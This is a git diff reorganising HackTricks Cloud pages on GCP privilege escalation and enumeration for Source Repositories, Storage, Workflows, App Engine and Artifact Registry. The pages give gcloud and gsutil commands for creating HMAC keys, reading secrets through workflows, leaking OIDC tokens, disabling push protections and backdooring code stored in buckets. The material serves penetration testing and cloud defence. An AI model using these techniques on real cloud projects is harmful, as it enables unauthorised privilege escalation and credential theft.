+### `source.repos.setIamPolicy`
+
+With this permission an attacker could grant himself the previous permissions.
+
+### Secret access
+
+If the attacker has **access to the secrets** where the tokens are stored, he will be able to steal them. For more info about how to access a secret check:
+
+{{#ref}}
+gcp-secretmanager-privesc.md
+{{#endref}}
+
+### Add SSH keys
+
+It's possible to **add ssh keys to the Source Repository project** in the web console. It makes a post request to **`/v1/sshKeys:add`** and can be configured in [https://source.cloud.google.com/user/ssh_keys](https://source.cloud.google.com/user/ssh_keys)
+
+Once your ssh key is set, you can access a repo with:
+
+```bash
+git clone ssh://username@domain.com@source.developers.google.com:2022/p/<proj-name>/r/<repo-name>
+```
+
+And then use **`git`** commands are per usual.
+
+### Manual Credentials
+
+It's possible to create manual credentials to access the Source Repositories:
+
+<figure><img src="../../../images/image (324).png" alt=""><figcaption></figcaption></figure>
+
+Clicking on the first link it will direct you to [https://source.developers.google.com/auth/start?scopes=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform\&state\&authuser=3](https://source.developers.google.com/auth/start?scopes=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform&state&authuser=3)
+
+Which will prompt an **Oauth authorization prompt** to give access to **Google Cloud Development**. So you will need either the **credentials of the user** or an **open session in the browser** for this.
+
+This will send you to a page with a **bash script to execute** and configure a git cookie in **`$HOME/.gitcookies`**
+
+<figure><img src="../../../images/image (323).png" alt=""><figcaption></figcaption></figure>
+
+Executing the script you can then use git clone, push... and it will work.
+
+### `source.repos.updateProjectConfig`
+
+With this permission it's possible to disable Source Repositories default protection to not upload code containing Private Keys:
+
+```bash
+gcloud source project-configs update --disable-pushblock
+```
+
+You can also configure a different pub/sub topic or even disable it completely:
+
+```bash
+gcloud source project-configs update --remove-topic=REMOVE_TOPIC
+gcloud source project-configs update --remove-topic=UPDATE_TOPIC
+```
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md
similarity index 64%
rename from pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md
rename to src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md
index 3a3594bdd..29193d5f5 100644
--- a/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md
@@ -1,34 +1,21 @@
 # GCP - Storage Privesc
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## Storage
 
 Basic Information:
 
-{% content-ref url="../gcp-services/gcp-storage-enum.md" %}
-[gcp-storage-enum.md](../gcp-services/gcp-storage-enum.md)
-{% endcontent-ref %}
+{{#ref}}
+../gcp-services/gcp-storage-enum.md
+{{#endref}}
 
 ### `storage.objects.get`
 
 This permission allows you to **download files stored inside Cloud Storage**. This will potentially allow you to escalate privileges because in some occasions **sensitive information is saved there**. Moreover, some GCP services stores their information in buckets:
 
-* **GCP Composer**: When you create a Composer Environment the **code of all the DAGs** will be saved inside a **bucket**. These tasks might contain interesting information inside of their code.
-* **GCR (Container Registry)**: The **image** of the containers are stored inside **buckets**, which means that if you can read the buckets you will be able to download the images and **search for leaks and/or source code**.
+- **GCP Composer**: When you create a Composer Environment the **code of all the DAGs** will be saved inside a **bucket**. These tasks might contain interesting information inside of their code.
+- **GCR (Container Registry)**: The **image** of the containers are stored inside **buckets**, which means that if you can read the buckets you will be able to download the images and **search for leaks and/or source code**.
 
 ### `storage.objects.setIamPolicy`
 
@@ -38,15 +25,14 @@ You can give you permission to **abuse any of the previous scenarios of this sec
 
 For an example on how to modify permissions with this permission check this page:
 
-{% content-ref url="../gcp-unauthenticated-enum-and-access/gcp-storage-unauthenticated-enum/gcp-public-buckets-privilege-escalation.md" %}
-[gcp-public-buckets-privilege-escalation.md](../gcp-unauthenticated-enum-and-access/gcp-storage-unauthenticated-enum/gcp-public-buckets-privilege-escalation.md)
-{% endcontent-ref %}
+{{#ref}}
+../gcp-unauthenticated-enum-and-access/gcp-storage-unauthenticated-enum/gcp-public-buckets-privilege-escalation.md
+{{#endref}}
 
 ### `storage.hmacKeys.create`
 
 Cloud Storage's "interoperability" feature, designed for **cross-cloud interactions** like with AWS S3, involves the **creation of HMAC keys for Service Accounts and users**. An attacker can exploit this by **generating an HMAC key for a Service Account with elevated privileges**, thus **escalating privileges within Cloud Storage**. While user-associated HMAC keys are only retrievable via the web console, both the access and secret keys remain **perpetually accessible**, allowing for potential backup access storage. Conversely, Service Account-linked HMAC keys are API-accessible, but their access and secret keys are not retrievable post-creation, adding a layer of complexity for continuous access.
 
-{% code overflow="wrap" %}
 ```bash
 # Create key
 gsutil hmac create <sa-email> # You might need to execute this inside a VM instance
@@ -76,7 +62,6 @@ gsutil ls gs://[BUCKET_NAME]
 # Restore
 gcloud config set pass_credentials_to_gsutil true
 ```
-{% endcode %}
 
 Another exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py).
 
@@ -90,14 +75,14 @@ A very **common exploitation** of buckets where you can write in cloud is in cas
 
 **Composer** is **Apache Airflow** managed inside GCP. It has several interesting features:
 
-* It runs inside a **GKE cluster**, so the **SA the cluster uses is accessible** by the code running inside Composer
-* All the components of a composer environments (**code of DAGs**, plugins and data) are stores inside a GCP bucket. If the attacker has read and write permissions over it, he could monitor the bucket and **whenever a DAG is created or updated, submit a backdoored version** so the composer environment will get from the storage the backdoored version.
+- It runs inside a **GKE cluster**, so the **SA the cluster uses is accessible** by the code running inside Composer
+- All the components of a composer environments (**code of DAGs**, plugins and data) are stores inside a GCP bucket. If the attacker has read and write permissions over it, he could monitor the bucket and **whenever a DAG is created or updated, submit a backdoored version** so the composer environment will get from the storage the backdoored version.
 
 **You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs**](https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs)
 
 ### Cloud Functions
 
-* Cloud Functions code is stored in Storage and whenever a new version is created the code is pushed to the bucket and then the new container is build from this code. Therefore, **overwriting the code before the new version gets built it's possible to make the cloud function execute arbitrary code**.
+- Cloud Functions code is stored in Storage and whenever a new version is created the code is pushed to the bucket and then the new container is build from this code. Therefore, **overwriting the code before the new version gets built it's possible to make the cloud function execute arbitrary code**.
 
 **You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions**](https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions)
 
@@ -111,36 +96,22 @@ However, with read & write access over this bucket, it's possible to escalate pr
 
 The mentioned attack can be performed in a lot of different ways, all of them start by monitoring the `staging.<project-id>.appspot.com` bucket:
 
-* Upload the complete new code of the AppEngine version to a different and available bucket and prepare a **`manifest.json` file with the new bucket name and sha1 hashes of them**. Then, when a new version is created inside the bucket, you just need to modify the `manifest.json` file and upload the malicious one.
-* Upload a modified `requirements.txt` version that will use a the **malicious dependencies code and update the `manifest.json`** file with the new filename, URL and the hash of it.
-* Upload a **modified `main.py` or `app.yaml` file that will execute the malicious code** and update the `manifest.json` file with the new filename, URL and the hash of it.
+- Upload the complete new code of the AppEngine version to a different and available bucket and prepare a **`manifest.json` file with the new bucket name and sha1 hashes of them**. Then, when a new version is created inside the bucket, you just need to modify the `manifest.json` file and upload the malicious one.
+- Upload a modified `requirements.txt` version that will use a the **malicious dependencies code and update the `manifest.json`** file with the new filename, URL and the hash of it.
+- Upload a **modified `main.py` or `app.yaml` file that will execute the malicious code** and update the `manifest.json` file with the new filename, URL and the hash of it.
 
 **You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-AppEngine**](https://github.com/carlospolop/Monitor-Backdoor-AppEngine)
 
 ### GCR
 
-* **Google Container Registry** stores the images inside buckets, if you can **write those buckets** you might be able to **move laterally to where those buckets are being run.**
-  * The bucket used by GCR will have an URL similar to `gs://<eu/usa/asia/nothing>.artifacts.<project>.appspot.com` (The top level subdomains are specified [here](https://cloud.google.com/container-registry/docs/pushing-and-pulling)).
+- **Google Container Registry** stores the images inside buckets, if you can **write those buckets** you might be able to **move laterally to where those buckets are being run.**
+  - The bucket used by GCR will have an URL similar to `gs://<eu/usa/asia/nothing>.artifacts.<project>.appspot.com` (The top level subdomains are specified [here](https://cloud.google.com/container-registry/docs/pushing-and-pulling)).
 
-{% hint style="success" %}
-This service is deprecated so this attack is no longer useful. Moreover, Artifact Registry, the service that substitutes this one, does't store the images in buckets.
-{% endhint %}
+> [!TIP]
+> This service is deprecated so this attack is no longer useful. Moreover, Artifact Registry, the service that substitutes this one, does't store the images in buckets.
 
 ## **References**
 
-* [https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/#:\~:text=apiKeys.-,create,privileges%20than%20our%20own%20user.](https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/)
+- [https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/#:\~:text=apiKeys.-,create,privileges%20than%20our%20own%20user.](https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workflows-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workflows-privesc.md
similarity index 50%
rename from pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workflows-privesc.md
rename to src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workflows-privesc.md
index 5ee421caf..35e558e54 100644
--- a/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workflows-privesc.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workflows-privesc.md
@@ -1,27 +1,14 @@
 # GCP - Workflows Privesc
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## Workflows
 
 Basic Information:
 
-{% content-ref url="../gcp-services/gcp-workflows-enum.md" %}
-[gcp-workflows-enum.md](../gcp-services/gcp-workflows-enum.md)
-{% endcontent-ref %}
+{{#ref}}
+../gcp-services/gcp-workflows-enum.md
+{{#endref}}
 
 ### `workflows.workflows.create`, `iam.serviceAccounts.ActAs`, `workflows.executions.create`, (`workflows.workflows.get`, `workflows.operations.get`)
 
@@ -33,17 +20,17 @@ And here you can find an example of a connector that prints a secret:
 
 ```yaml
 main:
-    params: [input]
-    steps:
+  params: [input]
+  steps:
     - access_string_secret:
         call: googleapis.secretmanager.v1.projects.secrets.versions.accessString
         args:
-            secret_id: secret_name
-            version: 1
-            project_id: project-id
+          secret_id: secret_name
+          version: 1
+          project_id: project-id
         result: str_secret
     - returnOutput:
-            return: '${str_secret}'
+        return: "${str_secret}"
 ```
 
 Update from the CLI:
@@ -59,7 +46,6 @@ If you get an error like `ERROR: (gcloud.workflows.deploy) FAILED_PRECONDITION:
 
 If you don't have web access it's possible to trigger and see the execution of a Workflow with:
 
-{% code overflow="wrap" %}
 ```bash
 # Run execution with output
 gcloud workflows run <workflow-name> --location us-central1
@@ -73,11 +59,9 @@ gcloud workflows executions list <workflow-name>
 # Get execution info and output
 gcloud workflows executions describe projects/<proj-number>/locations/<location>/workflows/<workflow-name>/executions/<execution-id>
 ```
-{% endcode %}
 
-{% hint style="danger" %}
-You can also check the output of previous executions to look for sensitive information
-{% endhint %}
+> [!CAUTION]
+> You can also check the output of previous executions to look for sensitive information
 
 Note that even if you get an error like `PERMISSION_DENIED: Permission 'workflows.operations.get' denied on...` because you don't have that permission, the workflow has been generated.
 
@@ -85,13 +69,11 @@ Note that even if you get an error like `PERMISSION_DENIED: Permission 'workflow
 
 According [**to the docs**](https://cloud.google.com/workflows/docs/authenticate-from-workflow) it's possible to use workflow steps that will send an HTTP request with the OAuth or OIDC token. However, just like in the case of [Cloud Scheduler](gcp-cloudscheduler-privesc.md), the HTTP request with the Oauth token must be to the host `.googleapis.com`.
 
-{% hint style="danger" %}
-Therefore, it's **possible to leak the OIDC token by indicating a HTTP endpoint** controlled by the user but to leak the **OAuth** token you would **need a bypass** for that protection. However, you are still able to **contact any GCP api to perform actions on behalf the SA** using either connectors or HTTP requests with the OAuth token.
-{% endhint %}
+> [!CAUTION]
+> Therefore, it's **possible to leak the OIDC token by indicating a HTTP endpoint** controlled by the user but to leak the **OAuth** token you would **need a bypass** for that protection. However, you are still able to **contact any GCP api to perform actions on behalf the SA** using either connectors or HTTP requests with the OAuth token.
 
 #### Oauth
 
-{% code overflow="wrap" %}
 ```yaml
     - step_A:
       call: http.post
@@ -101,7 +83,6 @@ Therefore, it's **possible to leak the OIDC token by indicating a HTTP endpoint*
               type: OAuth2
               scopes: OAUTH_SCOPE
 ```
-{% endcode %}
 
 #### OIDC
 
@@ -123,17 +104,4 @@ Therefore, it's **possible to leak the OIDC token by indicating a HTTP endpoint*
 
 With this permission instead of `workflows.workflows.create` it's possible to update an already existing workflow and perform the same attacks.
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/gcp-security/gcp-services/README.md b/src/pentesting-cloud/gcp-security/gcp-services/README.md
similarity index 100%
rename from pentesting-cloud/gcp-security/gcp-services/README.md
rename to src/pentesting-cloud/gcp-security/gcp-services/README.md
diff --git a/src/pentesting-cloud/gcp-security/gcp-services/gcp-ai-platform-enum.md b/src/pentesting-cloud/gcp-security/gcp-services/gcp-ai-platform-enum.md
new file mode 100644
index 000000000..7196bf8e7
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-services/gcp-ai-platform-enum.md
@@ -0,0 +1,22 @@
+# GCP - AI Platform Enum
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## [AI Platform](https://cloud.google.com/sdk/gcloud/reference/ai-platform/) <a href="#reviewing-ai-platform-configurations" id="reviewing-ai-platform-configurations"></a>
+
+Google [**AI Platform**](https://cloud.google.com/ai-platform/) is another "**serverless**" offering for **machine learning projects**.
+
+There are a few areas here you can look for interesting information like models and jobs.
+
+```bash
+# Models
+gcloud ai-platform models list
+gcloud ai-platform models describe <model>
+gcloud ai-platform models get-iam-policy <model>
+
+# Jobs
+gcloud ai-platform jobs list
+gcloud ai-platform jobs describe <job>
+```
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-services/gcp-api-keys-enum.md b/src/pentesting-cloud/gcp-security/gcp-services/gcp-api-keys-enum.md
new file mode 100644
index 000000000..5d13eca1c
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-services/gcp-api-keys-enum.md
@@ -0,0 +1,44 @@
+# GCP - API Keys Enum
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Basic Information
+
+In Google Cloud Platform (GCP), API keys are a simple encrypted string that **identifies an application without any principa**l. They are used to **access Google Cloud APIs** that do not require user context. This means they are often used in scenarios where the application is accessing its own data rather than user data.
+
+### Restrictions
+
+You can **apply restrictions to API keys** for enhanced security. For example, you can restrict the key to be **used only by certain IP addresses, webs, android apps, iOS apps**, or restrict it to **certain APIs or services** within GCP.
+
+### Enumeration
+
+It's possible to **see the restriction of an API key** (including GCP API endpoints restriction) using the verbs list or describe:
+
+```bash
+gcloud services api-keys list
+gcloud services api-keys describe <key-uuid>
+gcloud services api-keys list --show-deleted
+```
+
+> [!NOTE]
+> It's possible to recover deleted keys before 30days passes, that's why you can list deleted keys.
+
+### Privilege Escalation & Post Exploitation
+
+{{#ref}}
+../gcp-privilege-escalation/gcp-apikeys-privesc.md
+{{#endref}}
+
+### Unauthenticated Enum
+
+{{#ref}}
+../gcp-unauthenticated-enum-and-access/gcp-api-keys-unauthenticated-enum.md
+{{#endref}}
+
+### Persistence
+
+{{#ref}}
+../gcp-persistence/gcp-api-keys-persistence.md
+{{#endref}}
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/gcp-security/gcp-services/gcp-app-engine-enum.md b/src/pentesting-cloud/gcp-security/gcp-services/gcp-app-engine-enum.md
similarity index 59%
rename from pentesting-cloud/gcp-security/gcp-services/gcp-app-engine-enum.md
rename to src/pentesting-cloud/gcp-security/gcp-services/gcp-app-engine-enum.md
index 3f78b88ec..0563fdb98 100644
--- a/pentesting-cloud/gcp-security/gcp-services/gcp-app-engine-enum.md
+++ b/src/pentesting-cloud/gcp-security/gcp-services/gcp-app-engine-enum.md
@@ -1,19 +1,6 @@
 # GCP - App Engine Enum
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## Basic Information <a href="#reviewing-app-engine-configurations" id="reviewing-app-engine-configurations"></a>
 
@@ -31,7 +18,7 @@ Google Cloud Platform's (GCP) App Engine is a **robust, serverless platform tail
 
 A simple **firewall** can be configured for the instances running the Apps with the following options:
 
-<figure><img src="../../../.gitbook/assets/image (246).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../images/image (246).png" alt=""><figcaption></figcaption></figure>
 
 ### SA
 
@@ -43,15 +30,13 @@ The source code and metadata is **automatically stored in buckets** with names s
 
 **Every file** of the App is stored with the **sha1 of the content as filename**:
 
-<figure><img src="../../../.gitbook/assets/image (82).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../images/image (82).png" alt=""><figcaption></figcaption></figure>
 
 Inside the **`ae`** folder from `staging.<proj-id>.appspot.com`, **one folder per version exist** with the **source code** files and **`manifest.json`** file that **describes the components** of the App:
 
-{% code overflow="wrap" %}
 ```json
 {"requirements.txt":{"sourceUrl":"https://storage.googleapis.com/staging.onboarding-host-98efbf97812843.appspot.com/a270eedcbe2672c841251022b7105d340129d108","sha1Sum":"a270eedc_be2672c8_41251022_b7105d34_0129d108"},"main_test.py":{"sourceUrl":"https://storage.googleapis.com/staging.onboarding-host-98efbf97812843.appspot.com/0ca32fd70c953af94d02d8a36679153881943f32","sha1Sum":"0ca32fd7_0c953af9_4d02d8a ...
 ```
-{% endcode %}
 
 ### Containers
 
@@ -65,9 +50,8 @@ It might look like it's only possible to deploy 1 app engine web application per
 
 ### Enumeration
 
-{% hint style="danger" %}
-Every time you uploads a new code to the App, **a new version is created**. **All versions are stored** and they even have an **URL to access them**. So modifying the code of an old version could be a **great persistence technique**.
-{% endhint %}
+> [!CAUTION]
+> Every time you uploads a new code to the App, **a new version is created**. **All versions are stored** and they even have an **URL to access them**. So modifying the code of an old version could be a **great persistence technique**.
 
 As with Cloud Functions, **there is a chance that the application will rely on secrets that are accessed at run-time via environment variables**. These variables are stored in an **`app.yaml`** file which can be accessed as follows:
 
@@ -108,39 +92,26 @@ gcloud app ssl-certificates describe <name>
 
 ### Privilege Escalation
 
-{% content-ref url="../gcp-privilege-escalation/gcp-appengine-privesc.md" %}
-[gcp-appengine-privesc.md](../gcp-privilege-escalation/gcp-appengine-privesc.md)
-{% endcontent-ref %}
+{{#ref}}
+../gcp-privilege-escalation/gcp-appengine-privesc.md
+{{#endref}}
 
 ### Unauthenticated Enum
 
-{% content-ref url="../gcp-unauthenticated-enum-and-access/gcp-app-engine-unauthenticated-enum.md" %}
-[gcp-app-engine-unauthenticated-enum.md](../gcp-unauthenticated-enum-and-access/gcp-app-engine-unauthenticated-enum.md)
-{% endcontent-ref %}
+{{#ref}}
+../gcp-unauthenticated-enum-and-access/gcp-app-engine-unauthenticated-enum.md
+{{#endref}}
 
 ### Post Exploitation
 
-{% content-ref url="../gcp-post-exploitation/gcp-app-engine-post-exploitation.md" %}
-[gcp-app-engine-post-exploitation.md](../gcp-post-exploitation/gcp-app-engine-post-exploitation.md)
-{% endcontent-ref %}
+{{#ref}}
+../gcp-post-exploitation/gcp-app-engine-post-exploitation.md
+{{#endref}}
 
 ### Persistence
 
-{% content-ref url="../gcp-persistence/gcp-app-engine-persistence.md" %}
-[gcp-app-engine-persistence.md](../gcp-persistence/gcp-app-engine-persistence.md)
-{% endcontent-ref %}
+{{#ref}}
+../gcp-persistence/gcp-app-engine-persistence.md
+{{#endref}}
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/gcp-security/gcp-services/gcp-artifact-registry-enum.md b/src/pentesting-cloud/gcp-security/gcp-services/gcp-artifact-registry-enum.md
similarity index 54%
rename from pentesting-cloud/gcp-security/gcp-services/gcp-artifact-registry-enum.md
rename to src/pentesting-cloud/gcp-security/gcp-services/gcp-artifact-registry-enum.md
index 43b6b86a4..493e8b2d5 100644
--- a/pentesting-cloud/gcp-security/gcp-services/gcp-artifact-registry-enum.md
+++ b/src/pentesting-cloud/gcp-security/gcp-services/gcp-artifact-registry-enum.md
@@ -1,19 +1,6 @@
 # GCP - Artifact Registry Enum
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## Basic Information
 
@@ -32,11 +19,11 @@ Key features of Artifact Registry include:
 
 When creating a new repository it's possible to **select a the format/type** of the repository among several like Docker, Maven, npm, Python... and the mode which usually can be one of these three:
 
-* **Standard Repository**: Default mode for **storing your own artifacts** (like Docker images, Maven packages) directly in GCP. It's secure, scalable, and integrates well within the Google Cloud ecosystem.
-* **Remote Repository** (if available): Acts as a proxy for **caching artifacts from external**, public repositories. It helps prevent issues from dependencies changing upstream and reduces latency by caching frequently accessed artifacts.
-* **Virtual Repository** (if available): Provides a **unified interface to access multiple (standard or remote) repositories** through a single endpoint, simplifying client-side configuration and access management for artifacts spread across various repositories.
-  * For a virtual repository you will need to **select repositories and give them a priority** (the repo with the largest priority will be used).
-  * You can **mix remote and standard** repositories in a **virtual** one, if the **priority** of the **remote** is **bigger** than the standard, **packages from remote (PyPi for example) will be used**. This could lead to a **Dependency Confusion.**
+- **Standard Repository**: Default mode for **storing your own artifacts** (like Docker images, Maven packages) directly in GCP. It's secure, scalable, and integrates well within the Google Cloud ecosystem.
